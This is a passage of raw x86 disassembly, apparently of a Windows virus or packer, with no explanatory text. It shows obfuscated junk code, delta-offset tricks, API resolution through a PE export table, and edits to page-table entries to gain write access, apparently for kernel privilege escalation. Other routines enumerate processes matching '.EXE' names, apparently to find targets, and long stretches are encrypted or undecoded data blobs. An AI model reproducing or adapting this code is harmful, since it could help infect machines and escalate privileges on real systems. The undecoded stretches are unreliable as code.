esi mov edi, [ebx+20h] mov esi, [ebx+1Ch] add edi, [ebp+7EEB889h] add esi, [ebp+7EEB889h] cld or ecx, 0FFFFFFFFh loc_5DF6EB: ; CODE XREF: sdfs____:005DF709j ; sdfs____:005DF718j inc ecx mov ebx, [ebp+7EEB88Dh] mov edx, [edi] add edx, [ebp+7EEB889h] add edi, 4 loc_5DF6FD: ; CODE XREF: sdfs____:005DF711j mov al, [edx] test al, al jz loc_5DF716 cmp al, [ebx] jnz loc_5DF6EB inc ebx inc edx jmp loc_5DF6FD ; --------------------------------------------------------------------------- loc_5DF716: ; CODE XREF: sdfs____:005DF701j cmp al, [ebx] jnz loc_5DF6EB pop edi shl ecx, 1 movzx eax, word ptr [edi+ecx] mov eax, [esi+eax*4] add eax, [ebp+7EEB889h] mov [ebp+7EEB88Dh], eax mov esi, eax mov ecx, esi mov eax, ecx cmp dword ptr [ebp+7EEB8C6h], 0C0300000h jnz loc_5DF757 shr eax, 14h and eax, 0FFCh jmp loc_5DF75F ; --------------------------------------------------------------------------- loc_5DF757: ; CODE XREF: sdfs____:005DF744j shr eax, 12h and eax, 3FF8h loc_5DF75F: ; CODE XREF: sdfs____:005DF752j mov edi, [ebp+7EEB8C6h] or dword ptr [edi+eax], 6 mov edx, [edi+eax] mov eax, edx and al, 81h cmp al, 81h mov eax, ecx jz locret_5DF7D1 cmp dword ptr [ebp+7EEB8C6h], 0C0300000h jnz loc_5DF797 shr eax, 0Ah and eax, 3FFFFCh jmp loc_5DF79F ; --------------------------------------------------------------------------- loc_5DF797: ; CODE XREF: sdfs____:005DF784j shr eax, 9 and eax, 7FFFF8h loc_5DF79F: ; CODE XREF: sdfs____:005DF792j sub eax, 40000000h or dword ptr [eax], 6 test dword ptr [eax], 80h jz locret_5DF7D1 cmp dword ptr [ebp+7EEB8C6h], 0C0300000h jz locret_5DF7D1 and eax, 3FF8h mov eax, [eax-3FA00000h] or dword ptr [eax], 6 locret_5DF7D1: ; CODE XREF: sdfs____:005DF774j ; sdfs____:005DF7ADj ... iret ; --------------------------------------------------------------------------- lea eax, [ebp+7EEB834h] mov [ebp+7E914F9h], eax lea eax, [ebp+7EEB8CAh] mov [ebp+7E91691h], eax lea eax, [ebp+7EEB891h] mov [ebp+7E92131h], eax jmp loc_5DF937 ; --------------------------------------------------------------------------- align 4 dd 4Eh dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5DF937: ; CODE XREF: sdfs____:005DF7F6j cmp dword ptr [ebp+7E919A5h], 1 jz loc_5DFE7B pusha mov ch, ah mov ecx, edx popa mov byte ptr [ebp+7E92659h], 43h push 0 push eax call sub_5DF95C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DF95C proc near ; CODE XREF: sdfs____:005DF954p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5DF95C endp ; --------------------------------------------------------------------------- dd 821D5FA5h, 8C0F7BEBh, 0Bh, 6E9h, 92D8600h, 68CAA5F8h dd 0CDE07773h, 0BECE8B60h, 631C3A6Bh, 24348161h, 2145A786h dd 0F5F5660h, 0E961F1B7h, 12h, 338BE4D7h, 990E447Ah, 0F6A69413h dd 37F4ED61h, 0B5FF60D3h, 7E90B11h, 0DB858DF5h, 0F07EC9Fh dd 884h, 880F6000h, 0 ; --------------------------------------------------------------------------- popa call eax jl loc_5DF9DA clc loc_5DF9DA: ; CODE XREF: sdfs____:005DF9D3j mov [ebp+7E91F25h], eax jnb loc_5DF9E7 cmc loc_5DF9E7: ; CODE XREF: sdfs____:005DF9E0j mov byte ptr [ebp+7E92659h], 50h pusha jge loc_5DFA0D jmp loc_5DFA0D ; --------------------------------------------------------------------------- dw 0F868h dd 0E478C43Ah, 0E352E0CAh, 99AB9F54h, 0C15FB916h ; --------------------------------------------------------------------------- push ecx loc_5DFA0D: ; CODE XREF: sdfs____:005DF9EFj ; sdfs____:005DF9F5j add esi, 46609E42h popa call near ptr loc_5DFA1C+1 push esi lodsd lodsd loc_5DFA1C: ; CODE XREF: sdfs____:005DFA14p test al, 0Fh mov word ptr [eax+eax], cs ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 68Bh, 8F0F00h, 50000000h, 800F5250h, 0Fh, 0AE9h, 94E50200h dd 56BDED60h, 0FBD42ACh, 0E9525031h, 0Fh, 0BAD76379h, 0D9A4AE77h dd 6F14BCB2h, 0FDB639Dh, 5A616031h, 8B585A58h, 60042444h dd 310F5250h, 0B966585Ah, 8B61B211h, 50525000h, 0F616052h dd 8E931h, 0A0D80000h, 0BCC825A8h, 585A48CAh, 9E9310Fh dd 4B000000h, 1321DFBBh, 59B84EFCh, 4489585Ah, 850F0424h dd 5, 0C78B6660h, 0FFF85861h, 0E90B11B5h, 13E907h, 0A4880000h dd 0DE3D2F03h, 7A5DAC87h, 93718E4Eh, 3402EA42h, 0DB858DC8h dd 6A07EC9Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 2C4AC357h, 0F451A87h, 18Ch, 8E9F800h dd 3B000000h, 0D1744846h, 0E90C5CF7h, 5, 39F60E0Bh, 0FD0FFCEh dd 1B8Eh, 10E86000h, 0F0000000h, 799FF202h, 1609D34Eh dd 0E4812029h, 58E3D48Dh, 6160E080h, 1F810Fh, 8B0F0000h dd 19h, 14E9h, 69D2E800h, 0A3CB0D7Ch, 28520F86h, 14978CD5h dd 0A2A64858h, 4D85895Ah, 0E907E916h, 0Fh, 656C48EEh, 0B3E298ADh dd 7A261E71h, 0E8A90CF9h, 4, 0F08FA82Fh, 8B605250h, 310F61CBh dd 61605250h, 6160310Fh, 585A585Ah, 0A830F50h, 0E9000000h dd 5, 0F7120477h, 24448BE7h, 9E904h, 2480000h, 0BD85B8DAh dd 8BF07D7Eh, 8B666000h, 0BE960CBh, 70000000h, 6961DAE5h dd 0CFCD5E61h, 3BB8C959h, 612729AEh, 24448961h, 0FE904h dd 5CC0000h, 8B04DE28h, 0B55C8E13h, 3919763Ch, 870F585Fh dd 1Eh, 18860Fh, 13E90000h, 5C000000h, 0D3A80EE5h, 87EFA7E3h dd 0C681227h, 0FCBB8AEEh, 0B5FFED56h, 7E90B11h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C0C35242h, 51780708h dd 12E9h, 1E84B900h, 8004643h, 0DD8D0FC7h, 9CD81FA2h, 8DC1E766h dd 0EC9FDB85h, 0D0FFF507h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 0F8C35545h, 0F924B9CDh, 19698589h, 0C6F907E9h dd 0E9265985h, 5E95007h, 64000000h, 89F2BC10h, 936CE668h dd 0C8B0F89h, 0F000000h, 688h, 0F525000h, 81585A31h, 6F702404h dd 13E90E09h, 93000000h, 0FE129581h, 327CF8BAh, 0ED32BEF3h dd 85D22C47h, 0B5FF21CFh, 7E92669h, 0CF816060h, 58092B44h dd 5EAB2AB8h, 0B70F6135h, 858D61F1h, 7E93ABCh, 0B840Fh dd 66600000h, 0B81F6EB8h, 40250205h, 60D0FF61h, 596DBF66h dd 8E0F60h, 0F000000h, 85h, 89616100h, 0E9236D85h, 0A840F07h dd 60000000h, 8B0FD78Bh, 0 ; --------------------------------------------------------------------------- popa jmp loc_5DFE7B ; --------------------------------------------------------------------------- pusha mov di, dx pusha jmp loc_5DFD35 ; --------------------------------------------------------------------------- dd 61FE7BD3h db 65h ; --------------------------------------------------------------------------- loc_5DFD35: ; CODE XREF: sdfs____:005DFD2Bj mov cx, 4CF5h popa popa pusha clc movsx eax, dx popa push eax pusha mov ebx, esi popa mov [esp], ebp jmp loc_5DFD5C ; --------------------------------------------------------------------------- dw 0C586h dd 6F7C8344h, 6951D095h, 9FCEEC31h ; --------------------------------------------------------------------------- loc_5DFD5C: ; CODE XREF: sdfs____:005DFD49j mov ebp, esp pusha jge loc_5DFD67 push ebx pop edi loc_5DFD67: ; CODE XREF: sdfs____:005DFD5Fj mov ax, 0BA21h popa add esp, 0FFFFFFFCh pusha jz loc_5DFD7C sbb ebx, 174BB955h loc_5DFD7C: ; CODE XREF: sdfs____:005DFD70j mov ah, 23h popa pusha clc call $+5 pop edx sub edx, 7EEBFCCh mov dword ptr [ebp-4], 0 cmp dword ptr [edx+7E919A5h], 1 jz loc_5DFE39 push edx push 0 push 0Fh call dword ptr [edx+7E91F25h] pop edx mov [edx+7EEBA41h], eax lea ebx, [edx+7EEBA45h] push edx mov dword ptr [ebx], 128h push ebx push eax call dword ptr [edx+7E9164Dh] pop edx loc_5DFDC9: ; CODE XREF: sdfs____:005DFDF3j ; sdfs____:005DFE27j push edx lea ebx, [edx+7EEBA45h] push ebx push dword ptr [edx+7EEBA41h] call dword ptr [edx+7E9236Dh] pop edx or eax, eax jz short loc_5DFE32 lea ebx, [edx+7EEBA45h] lea edi, [ebx+24h] xor ecx, ecx loc_5DFDED: ; CODE XREF: sdfs____:005DFDFDj cmp ecx, 104h jz short loc_5DFDC9 inc ecx cmp dword ptr [ecx+edi], 4558452Eh jnz short loc_5DFDED lea esi, [ecx+edi] sub esi, [ebp+0Ch] lea edi, [edx+7E93225h] mov ecx, [ebp+0Ch] rep movsb xor al, al stosb push edx push dword ptr [ebp+8] lea eax, [edx+7E93225h] push eax call dword ptr [edx+7E91969h] pop edx or eax, eax jnz short loc_5DFDC9 mov dword ptr [ebp-4], 1 jmp short loc_5DFE39 ; --------------------------------------------------------------------------- loc_5DFE32: ; CODE XREF: sdfs____:005DFDE0j mov dword ptr [ebp-4], 0 loc_5DFE39: ; CODE XREF: sdfs____:005DFD9Bj ; sdfs____:005DFE30j popa mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5DFE4C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DFE4C proc near ; CODE XREF: sdfs____:005DFE44p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5DFE4C endp ; --------------------------------------------------------------------------- dd 0E8E0F2Dh, 60000000h, 5E9C1B2h, 37000000h, 0A1F6E66Fh dd 0B70F6061h, 42EFB9CFh ; --------------------------------------------------------------------------- fisub dword ptr [ebx] popa loc_5DFE7B: ; CODE XREF: sdfs____:005DF93Ej ; sdfs____:005DFD21j mov edx, edx lea ecx, [ebp+7EEC138h] sub [ebp+7E934C9h], eax mov [ebp+7E9320Dh], ecx push 0 push ebx call sub_5DFE9A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5DFE9A proc near ; CODE XREF: sdfs____:005DFE92p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5DFE9A endp ; --------------------------------------------------------------------------- dw 421Eh dd 8B66A9C7h, 0E585C7D8h, 9407E922h, 23000068h, 0E9163185h dd 0B185C707h, 7E922h, 29000000h, 0E92E4185h, 6DB5FF07h dd 8B07E92Ch, 0E913B195h, 0A1BD0907h, 0FF07E915h, 0E9228595h dd 6A5F5707h, 3195FF00h, 8B07E90Ch, 4879EBC0h, 0E22E1A16h dd 0B38B64F9h, 93BABB48h, 0DE9B58DDh, 5E847995h, 31F0B0FAh dd 8866E7F5h, 6B50588Ch, 0E03C7FE3h, 54653D94h, 2BFF1109h dd 0FBEB02EBh, 6C18E944h, 5B180E15h, 0A49B4E31h, 0F058ACF4h dd 0C3CD0A29h, 4376166Ch, 0BF017F5Eh, 3E7CA423h, 733DC2B6h dd 73E778DDh, 3B27168Fh, 3C35668Ah, 87162FF6h, 0CB253DD4h dd 0AE7D64FBh, 50B333F2h, 709E15FCh, 896288Dh, 0AE8h, 0F8069000h dd 1B73D3B8h, 8B6F6265h, 0E91F2185h, 7E95F07h, 3F000000h dd 0C555AA2Ch, 0C781AD91h, 60A5h, 8E9h, 65752600h, 0FC53321Ch dd 17FC680Eh, 0BD290000h, 7E900F9h, 21CE805Bh, 0BF0F37FFh dd 0B52959C2h, 7E9097Dh, 2DAFE981h, 860F1398h, 3, 81D08B66h dd 1F2CCAF1h, 299D8936h, 8107E917h, 0F00E59E9h, 15B5335Bh dd 5107E919h, 2655BD89h, 78F07E9h, 0CE851h, 0E2F70000h dd 644DFC68h, 51F3BB9Fh, 858B4BCAh, 7E9253Dh, 0EF835E5Ah dd 0FE904h, 5D3C0000h, 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh dd 850F4B8Fh, 0FFFFFF8Ch, 1B759D89h, 8D8D07E9h, 7EEC31Fh dd 2C90CE81h, 95892409h, 7E92A19h, 320D8D89h, 6A07E9h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0F42D93C3h, 0D10209F7h, 6840FF5h, 8B000000h, 0E908C9B5h dd 0E585C707h, 4C07E922h, 66000064h, 0C7A8C5BEh, 0E922B185h dd 7, 0FE900h, 0C2970000h, 0DFA00514h, 0E762B7Ch, 1C55AB7Bh dd 0DB5FF42h, 0F07E917h, 95FFDBB7h, 7E92285h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 42C35040h, 0F082FE8h dd 6AD9BFh, 0C3195FFh, 0C08B07E9h, 413F28EBh, 0F1EB9060h dd 92E761B0h, 172F7D17h, 0F091BEF0h, 699AFA68h, 11B98074h dd 0C84370Fh, 0F395B8CAh, 99DFE30Bh, 11E87A12h, 86000000h dd 0C9F333B2h, 8F9FD838h, 2C6AF582h, 0B7AC6127h, 21A5BD33h dd 815E07E9h, 0DCF390C8h, 0E1C6815Eh, 89000063h, 0E924F985h dd 6807h, 59F50000h, 26219529h, 34FF07E9h, 0AFB86631h dd 26BF5B5Ch, 812E3894h, 1ECE0DF3h, 0D08B6632h, 0D595C381h dd 0BF0F6FBFh, 0F6F381D0h, 8930812Eh, 0E9013D9Dh, 0E1C8907h dd 0AE960h, 0EF2F0000h, 0CDEE79FFh, 0ABD4755Fh, 0C2B70F61h dd 8902E983h, 0E920D1B5h, 89494907h, 0E92A719Dh, 0B4F98107h dd 0FFFFF9Ch, 0FFFFA185h, 0B1DC80FFh, 1C8E9h, 8 dup(41888800h) dd 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 300h, 14h dup(0) dd 8C200h, 80757166h, 0FEh, 11h dup(0) dd 353E900h, 0E8550000h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7EEC5C2h pusha mov dword ptr [ebp+7EEC50Fh], 0 cmp word ptr [esi], 0A166h jnz loc_5E03A8 mov dword ptr [ebp+7EEC513h], 6 jmp loc_5E03CC ; --------------------------------------------------------------------------- loc_5E03A8: ; CODE XREF: sdfs____:005E0393j lea eax, [ebp+7EEC517h] push eax lea eax, [ebp+7EEC567h] push eax push esi push 0 call sub_5E03DB add esp, 10h and eax, 0FFh mov [ebp+7EEC513h], eax loc_5E03CC: ; CODE XREF: sdfs____:005E03A3j popa add esi, [ebp+7EEC513h] mov eax, [ebp+7EEC50Fh] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5E03DB proc near ; CODE XREF: sdfs____:005E03B9p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_7EEC507 = dword ptr 7EEC50Fh push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5E0408 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5E0414 ; --------------------------------------------------------------------------- loc_5E0408: ; CODE XREF: sub_5E03DB+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5E0414: ; CODE XREF: sub_5E03DB+28j push ebx push esi push edi loc_5E0417: ; CODE XREF: sub_5E03DB+91j ; sub_5E03DB+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5E042A: ; CODE XREF: sub_5E03DB+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 7EEC679h lea ebp, [ebp+7EEC4EFh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5E0457 inc cl cmp cl, 0Bh jb loc_5E042A loc_5E0457: ; CODE XREF: sub_5E03DB+6Bj cmp cl, 0Bh jz loc_5E04B4 cmp al, 66h jnz loc_5E0495 cmp [ebp+var_5], 0 jnz loc_5E0417 cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5E048D mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5E0417 ; --------------------------------------------------------------------------- loc_5E048D: ; CODE XREF: sub_5E03DB+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5E0495: ; CODE XREF: sub_5E03DB+87j cmp al, 67h jnz loc_5E0417 cmp [ebp+var_6], 0 jnz loc_5E0417 xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5E0417 ; --------------------------------------------------------------------------- loc_5E04B4: ; CODE XREF: sub_5E03DB+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5E04E0 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5E04E5 ; --------------------------------------------------------------------------- loc_5E04E0: ; CODE XREF: sub_5E03DB+E4j movzx edi, al shr edi, 1 loc_5E04E5: ; CODE XREF: sub_5E03DB+100j push ebp call $+5 pop ebp sub ebp, 7EEC731h lea ebp, [ebp+7EEC3EFh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5E0667 mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5E05AB dec ecx jz loc_5E058E dec ecx jnz loc_5E05FE cmp [ebp+var_2], 0 jnz loc_5E05FA cmp [ebp+var_5], 0 jz loc_5E056D mov byte ptr [ebp+arg_0+3], 2 loc_5E056D: ; CODE XREF: sub_5E03DB+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 7EEC7BDh mov [ebp+arg_7EEC507], 1 pop ebp jmp loc_5E05FE ; --------------------------------------------------------------------------- loc_5E058E: ; CODE XREF: sub_5E03DB+16Dj cmp [ebp+var_2], 0 jnz loc_5E05D8 cmp [ebp+var_5], 0 jz loc_5E05D8 mov byte ptr [ebp+arg_0+3], 2 jmp loc_5E05D8 ; --------------------------------------------------------------------------- loc_5E05AB: ; CODE XREF: sub_5E03DB+166j cmp [ebp+var_2], 0 jnz loc_5E05F1 cmp [ebp+var_5], 0 jz loc_5E05E0 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5E05D8 mov byte ptr [ebp+arg_0+3], cl loc_5E05D8: ; CODE XREF: sub_5E03DB+1B7j ; sub_5E03DB+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5E05FE ; --------------------------------------------------------------------------- loc_5E05E0: ; CODE XREF: sub_5E03DB+1DEj cmp dl, 5 jnz loc_5E05FE mov byte ptr [ebp+arg_0+3], dl jmp loc_5E05FE ; --------------------------------------------------------------------------- loc_5E05F1: ; CODE XREF: sub_5E03DB+1D4j cmp dl, 6 jnz loc_5E05FE loc_5E05FA: ; CODE XREF: sub_5E03DB+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5E05FE: ; CODE XREF: sub_5E03DB+174j ; sub_5E03DB+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5E062C movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5E060E: ; CODE XREF: sub_5E03DB+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5E060E mov esi, edx loc_5E062C: ; CODE XREF: sub_5E03DB+226j and al, 0FEh cmp al, 0F6h jnz loc_5E0661 cmp edi, 7Fh ja loc_5E0661 test bl, 38h jnz loc_5E0661 cmp [ebp+var_7], 0 jz loc_5E065B movzx eax, [ebp+var_4] jmp loc_5E065E ; --------------------------------------------------------------------------- loc_5E065B: ; CODE XREF: sub_5E03DB+271j push 1 pop eax loc_5E065E: ; CODE XREF: sub_5E03DB+27Bj mov [ebp+var_1], al loc_5E0661: ; CODE XREF: sub_5E03DB+255j ; sub_5E03DB+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5E0667: ; CODE XREF: sub_5E03DB+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5E0692 dec eax dec eax jz loc_5E0688 and bl, 7 add [ebp+var_1], bl jmp loc_5E069A ; --------------------------------------------------------------------------- loc_5E0688: ; CODE XREF: sub_5E03DB+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5E0697 ; --------------------------------------------------------------------------- loc_5E0692: ; CODE XREF: sub_5E03DB+294j mov al, [ebp+var_3] add al, 4 loc_5E0697: ; CODE XREF: sub_5E03DB+2B2j add [ebp+var_1], al loc_5E069A: ; CODE XREF: sub_5E03DB+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5E06C2 movzx ecx, [ebp+var_1] inc ecx loc_5E06AD: ; CODE XREF: sub_5E03DB+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5E06AD loc_5E06C2: ; CODE XREF: sub_5E03DB+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5E03DB endp ; --------------------------------------------------------------------------- lea eax, [ebp+7EEC5BCh] mov [ebp+7E92299h], eax jmp loc_5E06F2 ; --------------------------------------------------------------------------- dw 0AA16h dd 9E01104Ch, 7C80h, 3 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5E06F2: ; CODE XREF: sdfs____:005E06D5j jmp loc_5E13E0 ; --------------------------------------------------------------------------- push 7EECAB7h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EECBB9h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EECD2Dh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EECE76h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EECFB2h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EED21Dh jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EED398h jmp loc_58B97E ; --------------------------------------------------------------------------- push 7EED4ABh jmp loc_58B97E ; --------------------------------------------------------------------------- db 0C7h dd 0FA94434h, 0B01C91EBh, 0E751DC9Eh, 14802DAFh, 62FA7B01h dd 3440D5C5h, 86061FB9h, 0D2AA4DEFh, 195BF123h, 0FAB7F394h dd 286DFBBAh, 4A42205Ah, 700ED6A0h, 0C4EBABE6h, 7F25305Ch dd 8BF507B3h, 0AFE27CEAh, 305CC4EFh, 0B8E98321h, 305CC4F8h dd 0F3AE8A18h, 2C65F760h, 37B5AC4Dh, 30CD5F45h, 51E47840h dd 0F729922Bh, 34ED01E9h, 2873BE98h, 0F819C04Ch, 8C19E308h dd 4166h, 0A0B37C00h, 0C53E7E33h, 752C305Ch, 305CC535h dd 0DBC9C5DFh, 0CA22273h, 0A555E07Ah, 3636B063h, 0B231D018h dd 0E037B59Bh, 8EAC28C2h, 39E804ECh, 28739B9Dh, 0FD1EBF43h dd 8C1A0A03h, 0AF63h, 0A04A4700h, 0AF420ED6h, 0B74571CDh dd 8C22A2F3h, 84F604B0h, 0BFCF9AE9h, 0ED0F305Ch, 326FF993h dd 305CC072h, 0D4B83A6Ah, 0F9F62CEh, 77CFB147h, 0FB11856Dh dd 45D0A579h, 764938D2h, 0BC37B5AEh, 77DF4FE6h, 9E539FE1h dd 3F720493h, 2FC7D631h, 2BB3455Fh, 0F89A7106h, 0DC20F27Fh dd 0E075A74Eh, 5CC01D94h, 6CE03C36h, 0AB07Bh, 1E5EFD00h dd 6B112597h, 0B6C86ECAh, 7859D3Fh, 4D2FC26Eh, 83EF48A0h dd 35670E6Eh, 7BD558DCh, 0AF09A4D4h, 1D42F38Dh, 0FA901081h dd 4A80286Dh, 0B3EE7814h, 305CC4F3h, 0FAB871Dh, 0B1E392EAh dd 0EE54D99Bh, 0A537A0B3h, 8000710Bh, 58305CC5h, 0DAC8C4B6h dd 0AB706F1Eh, 7C2637B5h, 0AAE5C1A0h, 0D9B2873h, 0AB7E3E73h dd 7F6F2873h, 0B8494664h, 3EFB5D9h, 239D3EDFh, 438C1A62h dd 0BCh, 26AAAA43h, 4F65457Fh, 0A04A21E3h, 9E2C4EE0h, 95E70A46h dd 0CA4A5B03h, 6C80687Ah, 5CBFAAB5h, 6B7B1230h, 0CDAF433Bh dd 1ADA7371h, 611B3EF7h, 99B367D3h, 50FA56DFh, 0E80BDE26h dd 21B4ED7Fh, 1137B58Eh, 0AC4FE293h, 9A17A13Bh, 28738E1Ah dd 6640A8FAh, 0C7B9542Bh, 0B640622Fh, 59760B2Eh, 74346D40h dd 9C20872Bh, 7AB87706h, 2DF18BACh, 0C2730197h, 30B9C356h dd 3C3732E1h, 0AEAC03D3h, 0F3000009h, 3B951858h, 6CC86517h dd 933DB0CAh, 0C06C0183h, 36A64F2Dh, 86C81F1h, 5ADACB65h dd 0A6D679DBh, 0ED8FAD0Fh, 0E831F40h, 286DFA8Eh, 4A167486h dd 0FC58D5A7h, 31911C5Eh, 3C3EDC78h, 0A216E2E0h, 8816EE88h dd 0D967FCFDh, 4EAA3EF8h, 3FB6C06Ah, 0CC5EC964h, 0B4A972D5h dd 6005A037h, 0CBD0755Ch, 11F04CE2h, 2872A1B6h, 0C647DEA8h dd 34CA4FEFh, 0C9709C54h, 1AE2B808h, 671368Ch, 0B38C0000h dd 0ECA537A0h, 37B5A265h, 0BC743ED7h, 6840CE1h, 805C462Ah dd 7366C5E1h, 0F697BB28h, 1A39DB25h, 6491B8Ch, 0B3AF0000h dd 0BA537A0h, 0AEF0572h, 0D622E410h, 0B4DACC37h, 0EBA63037h dd 2872D9ABh, 0FF33F65h, 973F4995h, 0AE2AFA82h, 942EF688h dd 7F5B2A06h, 792872DAh, 725EA6D6h, 0A15CA022h, 74EC0EAFh dd 10F021C8h, 6E8C1AC7h, 5FFh, 35B93F74h, 661BAD3Ah, 37B59F73h dd 0EBA56143h, 7399C963h, 11A73D01h, 758528D9h, 0B1BCB480h dd 0A77FFD10h, 96168B1Dh, 7E9C5E74h, 8D049624h, 0A3B74DAAh dd 17EA3A68h, 88F99304h, 9BCE13F0h, 0DA7EE6C0h, 13B1F1A0h dd 369A8C8Ch, 0FE54DBCCh, 0C6544E46h, 0F587A834h, 6D15A860h dd 17E377D1h, 356E0791h, 97F302A4h, 6D8F2B07h, 0EF6FED25h dd 0CA13749h, 41E88AA0h, 9032C8B8h, 3A93C418h, 67000008h dd 0AF09A4D4h, 0D07CF18Bh, 7B13C3Eh, 0B4E08D0Fh, 0C25ADBA1h dd 94E07565h, 0E666BF19h, 324AED4Fh, 79FB1183h, 9A1793F4h dd 286DF81Ah, 4AE2C0FAh, 9844D6A0h, 0F4280072h, 17A13621h dd 56C7417Eh, 4EC4A5Eh, 680FEFA2h, 2381384Fh, 6707F392h dd 177286Dh, 28C5B745h, 0D16BE075h, 6D65D8A0h, 7928C228h dd 286D6639h, 26A6FFDBh, 0D8B45890h, 25B74537h, 3BD195B9h dd 49DFE539h, 635EEFF5h, 0B913072h, 6B75A981h, 0E43937D2h dd 99E5AA30h, 47F28BAFh, 0A4D06548h, 22B44A58h, 6DB32F6Fh dd 77C3E128h, 3DCFA943h, 0B2AEEEA3h, 3C66286Dh, 0B2B7F7AAh dd 4B59286Dh, 1763E2EFh, 31286DB3h, 65D75E1Eh, 0A859A5D7h dd 286DC30Ch, 0B6721B3Dh, 0CB5BDAA4h, 6EA71303h, 249058EEh dd 0E9986416h, 286DB2CDh, 0FF29D0F4h, 3D92235Dh, 0F1h dd 0DADAD761h, 3A286DB2h, 0F5D8DD68h, 0A2C2B0BDh, 0A04A7456h dd 0C4DFDFD2h, 0BAC8305Ch, 3EFDC3D6h, 0FF8D177Fh, 0F484AB27h dd 8D049E28h, 305C250Dh, 0F484AB07h, 2C049A28h, 5C255D5Dh dd 0A3DD7F30h, 0F4638E43h, 5CCF2F62h, 0E3C1384Fh, 